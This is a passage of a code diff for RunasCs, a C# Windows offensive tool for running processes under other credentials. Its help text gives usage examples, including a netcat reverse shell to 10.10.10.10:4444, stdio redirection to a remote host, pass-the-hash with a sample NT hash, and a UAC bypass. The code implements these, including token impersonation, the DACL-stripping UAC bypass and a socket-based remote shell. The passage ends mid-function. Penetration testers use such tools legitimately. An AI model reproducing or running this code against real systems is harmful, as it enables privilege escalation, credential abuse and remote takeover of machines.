- spawn a new process and assign the token of the - logged on user to the main thread. - --pth - consider the input password as a nt hash and perform pass-the-hash instead. - --disable-token-filtering - disable token filtering when doing pass-the-hash - if the target user is an administrator and that option is not set the - process won't run as an elevated process. - -Examples: - Run a command as a local user - RunasCs.exe user1 password1 ""cmd /c whoami /all"" - Run a command as a domain user and logon type as NetworkCleartext (8) - RunasCs.exe user1 password1 ""cmd /c whoami /all"" -d domain -l 8 - Run a background process as a local user, - RunasCs.exe user1 password1 ""C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe"" -t 0 - Redirect stdin, stdout and stderr of the specified command to a remote host - RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444 - Run a command simulating the /netonly flag of runas.exe - RunasCs.exe user1 password1 ""cmd /c whoami /all"" -l 9 - Run a command as an Administrator bypassing UAC - RunasCs.exe adm1 password1 ""cmd /c whoami /priv"" --bypass-uac - Run a command as an Administrator through remote impersonation - RunasCs.exe adm1 password1 ""cmd /c echo admin > C:\Windows\admin"" -l 8 --remote-impersonation - Run a command using pass the hash - RunasCs.exe user1 5835048ce94ad0564e29a924a03510ef ""cmd /c whoami /all"" --pth - Run a command using pass the hash and elevated (otherwise not all privileges are set) - RunasCs.exe user1 5835048ce94ad0564e29a924a03510ef ""cmd /c whoami /all"" --pth --disable-token-filtering -"; - - // .NETv2 does not allow dict initialization with values. Therefore, we need a function :( - private static Dictionary getLogonTypeDict() - { - Dictionary logonTypes = new Dictionary(); - logonTypes.Add(2, "Interactive"); - logonTypes.Add(3, "Network"); - logonTypes.Add(4, "Batch"); - logonTypes.Add(5, "Service"); - logonTypes.Add(7, "Unlock"); - logonTypes.Add(8, "NetworkCleartext"); - logonTypes.Add(9, "NewCredentials"); - logonTypes.Add(10,"RemoteInteractive"); - logonTypes.Add(11,"CachedInteractive"); - return logonTypes; - } - - // .NETv2 does not allow dict initialization with values. Therefore, we need a function :( - private static Dictionary getCreateProcessFunctionDict() - { - Dictionary createProcessFunctions = new Dictionary(); - createProcessFunctions.Add(0, "CreateProcessAsUserW"); - createProcessFunctions.Add(1, "CreateProcessWithTokenW"); - createProcessFunctions.Add(2, "CreateProcessWithLogonW"); - return createProcessFunctions; - } - - private static bool HelpRequired(string param) - { - return param == "-h" || param == "--help" || param == "/?"; - } - - private static uint ValidateProcessTimeout(string timeout) - { - uint processTimeout = 120000; - try { - processTimeout = Convert.ToUInt32(timeout); - } - catch { - throw new RunasCsException("Invalid process_timeout value: " + timeout); - } - return processTimeout; - } - - private static string[] ValidateRemote(string remote) - { - string[] split = remote.Split(':'); - if( split.Length != 2 ) { - string error = "Invalid remote value: " + remote + "\r\n"; - error += "[-] Expected format: 'host:port'"; - throw new RunasCsException(error); - } - return split; - } - - private static int ValidateLogonType(string type) - { - int logonType = 3; - Dictionary logonTypes = getLogonTypeDict(); - - try { - logonType = Convert.ToInt32(type); - if( !logonTypes.ContainsKey(logonType) ) { - throw new System.ArgumentException(""); - } - } - catch { - string error = "Invalid logon_type value: " + type + "\r\n"; - error += "[-] Allowed values are:\r\n"; - foreach(KeyValuePair item in logonTypes) { - error += String.Format("[-] {0}\t{1}\r\n", item.Key, item.Value); - } - throw new RunasCsException(error); - } - return logonType; - } - - private static int ValidateCreateProcessFunction(string function) - { - int createProcessFunction = 2; - Dictionary createProcessFunctions = getCreateProcessFunctionDict(); - try { - createProcessFunction = Convert.ToInt32(function); - if( createProcessFunction < 0 || createProcessFunction > 2 ) { - throw new System.ArgumentException(""); - } - } - catch { - string error = "Invalid createProcess function: " + function + "\r\n"; - error += "[-] Allowed values are:\r\n"; - foreach(KeyValuePair item in createProcessFunctions) { - error += String.Format("[-] {0}\t{1}\r\n", item.Key, item.Value); - } - throw new RunasCsException(error); - } - return createProcessFunction; - } - - private static int DefaultCreateProcessFunction(bool pth, bool remoteImpersonation) - { - int createProcessFunction = 2; - IntPtr currentTokenHandle = WindowsIdentity.GetCurrent().Token; - List privs = new List(); - privs = AccessToken.GetTokenPrivileges(currentTokenHandle); - bool SeAssignPrimaryTokenPrivilegeAssigned = false; - bool SeImpersonatePrivilegeAssigned = false; - foreach (string[] s in privs) - { - string privilege = s[0]; - if(privilege == "SeAssignPrimaryTokenPrivilege" && AccessToken.GetTokenIntegrityLevel(currentTokenHandle) >= AccessToken.IntegrityLevel.Medium) - SeAssignPrimaryTokenPrivilegeAssigned = true; - if(privilege == "SeImpersonatePrivilege" && AccessToken.GetTokenIntegrityLevel(currentTokenHandle) >= AccessToken.IntegrityLevel.High) - SeImpersonatePrivilegeAssigned = true; - } - if (SeAssignPrimaryTokenPrivilegeAssigned) - createProcessFunction = 0; - else if (SeImpersonatePrivilegeAssigned) - createProcessFunction = 1; - else if (!pth) - createProcessFunction = 2; - else if (!remoteImpersonation) - throw new RunasCsException("it will be impossible to create a process using a primary token that impersonates the user, try with --remote-impersonation"); - - return createProcessFunction; - } - - public static string RunasCsMain(string[] args) - { - if (args.Length == 1 && HelpRequired(args[0])) - { - Console.Out.Write(help); - return ""; - } - string output = "", function = ""; - List positionals = new List(); - string username, password, cmd, domain; - username = password = cmd = domain = string.Empty; - string[] remote = null; - uint processTimeout = 120000; - int logonType = 2; - bool forceUserProfileCreation = false, bypassUac = false, remoteImpersonation = false, passTheHash = false, disableTokenFiltering = false; - - try { - for(int ctr = 0; ctr < args.Length; ctr++) { - switch (args[ctr]) - { - - case "-d": - case "--domain": - domain = args[++ctr]; - break; - - case "-t": - case "--timeout": - processTimeout = ValidateProcessTimeout(args[++ctr]); - break; - - case "-l": - case "--logon-type": - logonType = ValidateLogonType(args[++ctr]); - break; - - case "-f": - case "--function": - function = args[++ctr]; - break; - - case "-r": - case "--remote": - remote = ValidateRemote(args[++ctr]); - break; - - case "-p": - case "--force-profile": - forceUserProfileCreation = true; - break; - - case "-b": - case "--bypass-uac": - bypassUac = true; - break; - - case "-i": - case "--remote-impersonation": - remoteImpersonation = true; - break; - - case "--pth": - passTheHash = true; - break; - - case "--disable-token-filtering": - disableTokenFiltering = true; - break; - - default: - positionals.Add(args[ctr]); - break; - } - } - } catch(System.IndexOutOfRangeException) { - return "[-] Invalid arguments. Use --help for additional help."; - } catch(RunasCsException e) { - return String.Format("{0}", e.Message); - } - - if( positionals.Count < 3 ) { - return "[-] Not enough arguments. 3 Arguments required. Use --help for additional help."; - } - - int createProcessFunction = 2; - if (function != "") - { - createProcessFunction = ValidateCreateProcessFunction(function); - } - else - { - try - { - createProcessFunction = DefaultCreateProcessFunction(passTheHash, remoteImpersonation); - } - catch (RunasCsException e) - { - Console.Out.Write(e.Message); - return ""; - } - } - - username = positionals[0]; - password = positionals[1]; - cmd = positionals[2]; - - if( remote != null ) { - processTimeout = 0; - } - - RunasCs invoker = new RunasCs(); - try { - output = invoker.RunAs(username, password, cmd, domain, processTimeout, logonType, createProcessFunction, remote, forceUserProfileCreation, bypassUac, remoteImpersonation, passTheHash, disableTokenFiltering); - } catch(RunasCsException e) { - invoker.CleanupHandles(); - output = String.Format("{0}", e.Message); - } - - return output; - } -} - -class MainClass -{ - static void Main(string[] args) - { - Console.Out.Write(RunasCsMainClass.RunasCsMain(args)); - Console.Out.Flush(); - } -} - +using System; +using System.Text; +using System.Runtime.InteropServices; +using System.Collections.Generic; +using System.Diagnostics; +using System.Net.Sockets; +using System.Security.Principal; +using System.Security.Cryptography; +using System.ComponentModel; +using System.Net; +using Microsoft.Win32; + +public class RunasCsException : Exception +{ + private const string error_string = "[-] RunasCsException: "; + + private static string GetWin32ErrorString() + { + Console.Out.Flush(); + string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; + return errorMessage; + } + + public RunasCsException(){} + + public RunasCsException(string message) : base(error_string + message) { } + + public RunasCsException(string win32FunctionName, bool returnWin32Error) : base(error_string + win32FunctionName + " failed with error code: " + GetWin32ErrorString()) {} +} + +public class RunasCs +{ + private const Int32 Startf_UseStdHandles = 0x00000100; + private const int TokenPrimary = 1; + private const int TokenImpersonation = 2; + private const int LOGON32_PROVIDER_DEFAULT = 0; + private const int LOGON32_PROVIDER_WINNT50 = 3; + private const int LOGON32_LOGON_INTERACTIVE = 2; + private const int LOGON32_LOGON_NETWORK = 3; + private const int LOGON32_LOGON_BATCH = 4; + private const int LOGON32_LOGON_SERVICE = 5; + private const int LOGON32_LOGON_NETWORK_CLEARTEXT = 8; + private const int LOGON32_LOGON_NEW_CREDENTIALS = 9; + private const int ERROR_LOGON_TYPE_NOT_GRANTED = 1385; + private const int BUFFER_SIZE_PIPE = 1048576; + private const uint CREATE_NO_WINDOW = 0x08000000; + private const uint CREATE_SUSPENDED = 0x00000004; + private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400; + private const uint DUPLICATE_SAME_ACCESS = 0x00000002; + private const uint DACL_SECURITY_INFORMATION = 0x00000004; + private const UInt32 LOGON_WITH_PROFILE = 1; + private const UInt32 LOGON_NETCREDENTIALS_ONLY = 2; + private const int GetCurrentProcess = -1; + + private IntPtr socket; + private IntPtr hErrorWrite; + private IntPtr hOutputRead; + private IntPtr hOutputWrite; + private WindowStationDACL stationDaclObj; + private IntPtr hTokenPreviousImpersonatingThread; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + private struct ProcessInformation + { + public IntPtr process; + public IntPtr thread; + public int processId; + public int threadId; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SECURITY_ATTRIBUTES + { + public int Length; + public IntPtr lpSecurityDescriptor; + public bool bInheritHandle; + } + + private enum SECURITY_IMPERSONATION_LEVEL + { + SecurityAnonymous, + SecurityIdentification, + SecurityImpersonation, + SecurityDelegation + } + + [StructLayout(LayoutKind.Sequential)] + private struct SOCKADDR_IN + { + public short sin_family; + public short sin_port; + public uint sin_addr; + public long sin_zero; + } + + [StructLayout(LayoutKind.Sequential)] + private struct WSAData + { + internal short wVersion; + internal short wHighVersion; + internal short iMaxSockets; + internal short iMaxUdpDg; + internal IntPtr lpVendorInfo; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] + internal string szDescription; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] + internal string szSystemStatus; + } + + private enum SE_OBJECT_TYPE + { + SE_UNKNOWN_OBJECT_TYPE = 0, + SE_FILE_OBJECT, + SE_SERVICE, + SE_PRINTER, + SE_REGISTRY_KEY, + SE_LMSHARE, + SE_KERNEL_OBJECT, + SE_WINDOW_OBJECT, + SE_DS_OBJECT, + SE_DS_OBJECT_ALL, + SE_PROVIDER_DEFINED_OBJECT, + SE_WMIGUID_OBJECT, + SE_REGISTRY_WOW64_32KEY + } + + [StructLayout(LayoutKind.Sequential)] + private struct PROFILEINFO + { + public int dwSize; + public int dwFlags; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpUserName; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpProfilePath; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpDefaultPath; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpServerName; + [MarshalAs(UnmanagedType.LPTStr)] + public String lpPolicyPath; + public IntPtr hProfile; + } + + [DllImport("Kernel32.dll", SetLastError=true)] + private static extern bool CloseHandle(IntPtr handle); + + [DllImport("Kernel32.dll", SetLastError=true)] + private static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 milliseconds); + + [DllImport("advapi32.dll", SetLastError=true)] + private static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool SetThreadToken(ref IntPtr pHandle, IntPtr hToken); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern int ResumeThread(IntPtr hThread); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool RevertToSelf(); + + [DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName,[MarshalAs(UnmanagedType.LPStr)] string pszDomain,[MarshalAs(UnmanagedType.LPStr)] string pszPassword,int dwLogonType,int dwLogonProvider,ref IntPtr phToken); + + [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx", SetLastError = true)] + private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, IntPtr lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, int TokenType, ref IntPtr DuplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation); + + [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] + private static extern bool CreateProcessWithLogonW(String userName,String domain,String password,UInt32 logonFlags,String applicationName,String commandLine,uint creationFlags,UInt32 environment,String currentDirectory,ref STARTUPINFO startupInfo,out ProcessInformation processInformation); + + [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] + private static extern bool CreateProcessAsUser(IntPtr hToken,string lpApplicationName,string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles,uint dwCreationFlags,IntPtr lpEnvironment,string lpCurrentDirectory,ref STARTUPINFO lpStartupInfo,out ProcessInformation lpProcessInformation); + + [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern bool CreateProcessWithTokenW(IntPtr hToken, uint dwLogonFlags, string lpApplicationName, string lpCommandLine, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out ProcessInformation lpProcessInformation); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern uint SetSecurityInfo(IntPtr handle, SE_OBJECT_TYPE ObjectType, uint SecurityInfo, IntPtr psidOwner, IntPtr psidGroup, IntPtr pDacl, IntPtr pSacl); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize); + + [DllImport("kernel32.dll")] + private static extern bool SetNamedPipeHandleState(IntPtr hNamedPipe, ref UInt32 lpMode, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); + + [DllImport("kernel32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); + + [DllImport("userenv.dll", SetLastError=true, CharSet = CharSet.Auto)] + private static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit ); + + [DllImport("userenv.dll", SetLastError=true, CharSet = CharSet.Auto)] + private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); + + [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] + private static extern bool GetUserProfileDirectory(IntPtr hToken, StringBuilder path, ref int dwSize); + + [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] + private static extern bool LoadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo); + + [DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)] + private static extern bool UnloadUserProfile(IntPtr hToken, IntPtr hProfile); + + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); + + [DllImport("ws2_32.dll", SetLastError = true)] + private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); + + [DllImport("ws2_32.dll", SetLastError = true)] + private static extern ushort htons(ushort hostshort); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] + private static extern Int32 WSAGetLastError(); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); + + [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern int closesocket(IntPtr s); + + private string GetProcessFunction(int createProcessFunction){ + if(createProcessFunction == 0) + return "CreateProcessAsUserW()"; + if(createProcessFunction == 1) + return "CreateProcessWithTokenW()"; + return "CreateProcessWithLogonW()"; + } + + private bool CreateAnonymousPipeEveryoneAccess(ref IntPtr hReadPipe, ref IntPtr hWritePipe) + { + SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); + sa.Length = Marshal.SizeOf(sa); + sa.lpSecurityDescriptor = IntPtr.Zero; + sa.bInheritHandle = true; + if (CreatePipe(out hReadPipe, out hWritePipe, ref sa, (uint)BUFFER_SIZE_PIPE)) + return true; + return false; + } + + private string ReadOutputFromPipe(IntPtr hReadPipe) + { + string output = ""; + uint dwBytesRead = 0; + byte[] buffer = new byte[BUFFER_SIZE_PIPE]; + if(!ReadFile(hReadPipe, buffer, BUFFER_SIZE_PIPE, out dwBytesRead, IntPtr.Zero)){ + output += "No output received from the process.\r\n"; + } + output += Encoding.Default.GetString(buffer, 0, (int)dwBytesRead); + return output; + } + + private IntPtr ConnectRemote(string[] remote) + { + int port = 0; + int error = 0; + string host = remote[0]; + + try { + port = Convert.ToInt32(remote[1]); + } catch { + throw new RunasCsException("Specified port is invalid: " + remote[1]); + } + + WSAData data; + if( WSAStartup(2 << 8 | 2, out data) != 0 ) { + error = WSAGetLastError(); + throw new RunasCsException(String.Format("WSAStartup failed with error code: {0}", error)); + } + + IntPtr socket = IntPtr.Zero; + socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0); + + SOCKADDR_IN sockinfo = new SOCKADDR_IN(); + sockinfo.sin_family = (short)2; + sockinfo.sin_addr = BitConverter.ToUInt32(((IPAddress.Parse(host)).GetAddressBytes()), 0); + sockinfo.sin_port = (short)htons((ushort)port); + + if ( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) { + error = WSAGetLastError(); + throw new RunasCsException(String.Format("WSAConnect failed with error code: {0}", error)); + } + + return socket; + } + + private bool ImpersonateLoggedOnUserWithProperIL(IntPtr hToken, out IntPtr hTokenDuplicate) { + IntPtr hTokenDuplicateLocal = new IntPtr(0); + bool result = false; + // if our main thread was already impersonating remember to restore the previous thread token + if (WindowsIdentity.GetCurrent(true) != null) + this.hTokenPreviousImpersonatingThread = WindowsIdentity.GetCurrent(true).Token; + if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenImpersonation, ref hTokenDuplicateLocal)) + throw new RunasCsException("DuplicateTokenEx", true); + if(AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token) < AccessToken.GetTokenIntegrityLevel(hTokenDuplicateLocal)) + AccessToken.SetTokenIntegrityLevel(hTokenDuplicateLocal, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); + result = ImpersonateLoggedOnUser(hTokenDuplicateLocal); + hTokenDuplicate = hTokenDuplicateLocal; + return result; + } + + private void RevertToSelfCustom() { + RevertToSelf(); + if (this.hTokenPreviousImpersonatingThread != IntPtr.Zero) + ImpersonateLoggedOnUser(this.hTokenPreviousImpersonatingThread); + } + + private void GetUserEnvironmentBlock(IntPtr hToken, string username, bool forceProfileCreation, bool userProfileExists, out IntPtr lpEnvironment) + { + bool result = false; + lpEnvironment = new IntPtr(0); + PROFILEINFO profileInfo = new PROFILEINFO(); + IntPtr hTokenDuplicate; + if (forceProfileCreation || userProfileExists) { + profileInfo.dwSize = Marshal.SizeOf(profileInfo); + profileInfo.lpUserName = username; + result = LoadUserProfile(hToken, ref profileInfo); + if (result == false && Marshal.GetLastWin32Error() == 1314) + Console.Out.WriteLine("[*] Warning: LoadUserProfile failed due to insufficient permissions"); + } + ImpersonateLoggedOnUserWithProperIL(hToken, out hTokenDuplicate); + try { + CreateEnvironmentBlock(out lpEnvironment, hToken, false); + } + catch { + result = false; + } + RevertToSelfCustom(); + CloseHandle(hTokenDuplicate); + if (result && (forceProfileCreation || userProfileExists)) UnloadUserProfile(hToken, profileInfo.hProfile); + } + + private bool IsUserProfileCreated(string username, string password, string domainName, int logonType) { + bool result = false; + IntPtr hToken = IntPtr.Zero, hTokenDuplicate = IntPtr.Zero; + int logonProvider = LOGON32_PROVIDER_DEFAULT; + if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) logonProvider = LOGON32_PROVIDER_WINNT50; + result = LogonUser(username, domainName, password, logonType, logonProvider, ref hToken); + if (result == false) + throw new RunasCsException("LogonUser", true); + ImpersonateLoggedOnUserWithProperIL(hToken, out hTokenDuplicate); + try + { + int dwSize = 0; + GetUserProfileDirectory(hToken, null, ref dwSize); + StringBuilder profileDir = new StringBuilder(dwSize); + result = GetUserProfileDirectory(hToken, profileDir, ref dwSize); + } + catch { + result = false; + } + RevertToSelfCustom(); + CloseHandle(hToken); + CloseHandle(hTokenDuplicate); + return result; + } + + // UAC bypass discussed in this UAC quiz tweet --> https://twitter.com/splinter_code/status/1458054161472307204 + // thanks @winlogon0 for the implementation --> https://github.com/AltF5/MediumToHighIL_Test/blob/main/TestCode2.cs + private bool CreateProcessWithLogonWUacBypass(int logonType, uint logonFlags, string username, string domainName, string password, string processPath, string commandLine, ref STARTUPINFO startupInfo, out ProcessInformation processInfo) { + bool result = false; + IntPtr hToken = new IntPtr(0); + if (!LogonUser(username, domainName, password, logonType, LOGON32_PROVIDER_DEFAULT, ref hToken)) + throw new RunasCsException("CreateProcessWithLogonWUacBypass: LogonUser", true); + // here we set the IL of the new token equal to our current process IL. Needed or seclogon will fail. + AccessToken.SetTokenIntegrityLevel(hToken, AccessToken.GetTokenIntegrityLevel(WindowsIdentity.GetCurrent().Token)); + // remove acl to our current process. Needed for seclogon + SetSecurityInfo((IntPtr)GetCurrentProcess, SE_OBJECT_TYPE.SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(hToken)) + { + if (domainName == "") // fixing bugs in seclogon ... + domainName = "."; + result = CreateProcessWithLogonW(username, domainName, password, logonFlags | LOGON_NETCREDENTIALS_ONLY, processPath, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo); + } + CloseHandle(hToken); + return result; + } + + private string ParseCommonProcessesInCommandline(string commandline) { + string commandlineRet = commandline; + string[] args = commandline.Split(' '); + if (args[0].ToLower() == "cmd" || args[0].ToLower() == "cmd.exe") { + args[0] = Environment.GetEnvironmentVariable("COMSPEC"); + commandlineRet = string.Join(" ", args); + } + if (args[0].ToLower() == "powershell" || args[0].ToLower() == "powershell.exe") { + args[0] = Environment.GetEnvironmentVariable("WINDIR") + @"\System32\WindowsPowerShell\v1.0\powershell.exe"; + commandlineRet = string.Join(" ", args); + } + return commandlineRet; + } + + private bool IsLimitedUserLogon(IntPtr hToken, string username, string domainName, string password, out int logonTypeNotFiltered) { + bool isLimitedUserLogon = false; + bool isTokenUACFiltered = false; + IntPtr hTokenNetwork = IntPtr.Zero; + IntPtr hTokenBatch = IntPtr.Zero; + IntPtr hTokenService = IntPtr.Zero; + logonTypeNotFiltered = 0; + isTokenUACFiltered = AccessToken.IsFilteredUACToken(hToken); + if (isTokenUACFiltered) + { + logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT; + isLimitedUserLogon = true; + } + else { + // Check differences between the requested logon type and non-filtered logon types (Network, Batch, Service) + // If IL mismatch, the user has potentially more privileges than the requested logon + AccessToken.IntegrityLevel userTokenIL = AccessToken.GetTokenIntegrityLevel(hToken); + if (LogonUser(username, domainName, password, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_PROVIDER_DEFAULT, ref hTokenNetwork) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenNetwork)) + { + isLimitedUserLogon = true; + logonTypeNotFiltered = LOGON32_LOGON_NETWORK_CLEARTEXT; + } + else if (!isLimitedUserLogon && LogonUser(username, domainName, password, LOGON32_LOGON_SERVICE, LOGON32_PROVIDER_DEFAULT, ref hTokenService) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenService)) + { + // we check Service logon because by default it has the SeImpersonate privilege, available only in High IL + isLimitedUserLogon = true; + logonTypeNotFiltered = LOGON32_LOGON_SERVICE; + } + else if (!isLimitedUserLogon && LogonUser(username, domainName, password, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, ref hTokenBatch) && userTokenIL < AccessToken.GetTokenIntegrityLevel(hTokenBatch)) + { + isLimitedUserLogon = true; + logonTypeNotFiltered = LOGON32_LOGON_BATCH; + } + if (hTokenNetwork != IntPtr.Zero) CloseHandle(hTokenNetwork); + if (hTokenBatch != IntPtr.Zero) CloseHandle(hTokenBatch); + if (hTokenService != IntPtr.Zero) CloseHandle(hTokenService); + } + return isLimitedUserLogon; + } + + private void CheckAvailableUserLogonType(string username, string password, string domainName, int logonType, int logonProvider) { + IntPtr hTokenCheck1 = IntPtr.Zero; + if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hTokenCheck1)) { + if (Marshal.GetLastWin32Error() == ERROR_LOGON_TYPE_NOT_GRANTED) { + int availableLogonType = 0; + int[] logonTypeTryOrder = new int[] { LOGON32_LOGON_SERVICE, LOGON32_LOGON_BATCH, LOGON32_LOGON_NETWORK_CLEARTEXT, LOGON32_LOGON_NETWORK, LOGON32_LOGON_INTERACTIVE}; + foreach (int logonTypeTry in logonTypeTryOrder) + { + IntPtr hTokenCheck2 = IntPtr.Zero; + if (LogonUser(username, domainName, password, logonTypeTry, logonProvider, ref hTokenCheck2)) { + availableLogonType = logonTypeTry; + if (AccessToken.GetTokenIntegrityLevel(hTokenCheck2) > AccessToken.IntegrityLevel.Medium) + { + availableLogonType = logonTypeTry; + CloseHandle(hTokenCheck2); + break; + } + } + if (hTokenCheck2 != IntPtr.Zero) CloseHandle(hTokenCheck2); + } + if (availableLogonType != 0) + throw new RunasCsException(String.Format("Selected logon type '{0}' is not granted to the user '{1}'. Use available logon type '{2}'.", logonType, username, availableLogonType.ToString())); + else + throw new RunasCsException("LogonUser", true); + } + throw new RunasCsException("LogonUser", true); + } + if (hTokenCheck1 != IntPtr.Zero) CloseHandle(hTokenCheck1); + } + + private void RunasSetupStdHandlesForProcess(uint processTimeout, string[] remote, ref STARTUPINFO startupInfo, out IntPtr hOutputWrite, out IntPtr hErrorWrite, out IntPtr hOutputRead, out IntPtr socket) { + IntPtr hOutputReadTmpLocal = IntPtr.Zero; + IntPtr hOutputWriteLocal = IntPtr.Zero; + IntPtr hErrorWriteLocal = IntPtr.Zero; + IntPtr hOutputReadLocal = IntPtr.Zero; + IntPtr socketLocal = IntPtr.Zero; + if (processTimeout > 0) + { + IntPtr hCurrentProcess = Process.GetCurrentProcess().Handle; + if (!CreateAnonymousPipeEveryoneAccess(ref hOutputReadTmpLocal, ref hOutputWriteLocal)) + throw new RunasCsException("CreatePipe", true); + if (!DuplicateHandle(hCurrentProcess, hOutputWriteLocal, hCurrentProcess, out hErrorWriteLocal, 0, true, DUPLICATE_SAME_ACCESS)) + throw new RunasCsException("DuplicateHandle stderr write pipe", true); + if (!DuplicateHandle(hCurrentProcess, hOutputReadTmpLocal, hCurrentProcess, out hOutputReadLocal, 0, false, DUPLICATE_SAME_ACCESS)) + throw new RunasCsException("DuplicateHandle stdout read pipe", true); + CloseHandle(hOutputReadTmpLocal); + hOutputReadTmpLocal = IntPtr.Zero; + UInt32 PIPE_NOWAIT = 0x00000001; + if (!SetNamedPipeHandleState(hOutputReadLocal, ref PIPE_NOWAIT, IntPtr.Zero, IntPtr.Zero)) + throw new RunasCsException("SetNamedPipeHandleState", true); + startupInfo.dwFlags = Startf_UseStdHandles; + startupInfo.hStdOutput = hOutputWriteLocal; + startupInfo.hStdError = hErrorWriteLocal; + } + else if (remote != null) + { + socketLocal = ConnectRemote(remote); + startupInfo.dwFlags = Startf_UseStdHandles; + startupInfo.hStdInput = socketLocal; + startupInfo.hStdOutput = socketLocal; + startupInfo.hStdError = socketLocal; + } + hOutputWrite = hOutputWriteLocal; + hErrorWrite = hErrorWriteLocal; + hOutputRead = hOutputReadLocal; + socket = socketLocal; + } + + private void RunasRemoteImpersonation(string username, string domainName, string password, int logonType, int logonProvider, string commandLine, ref 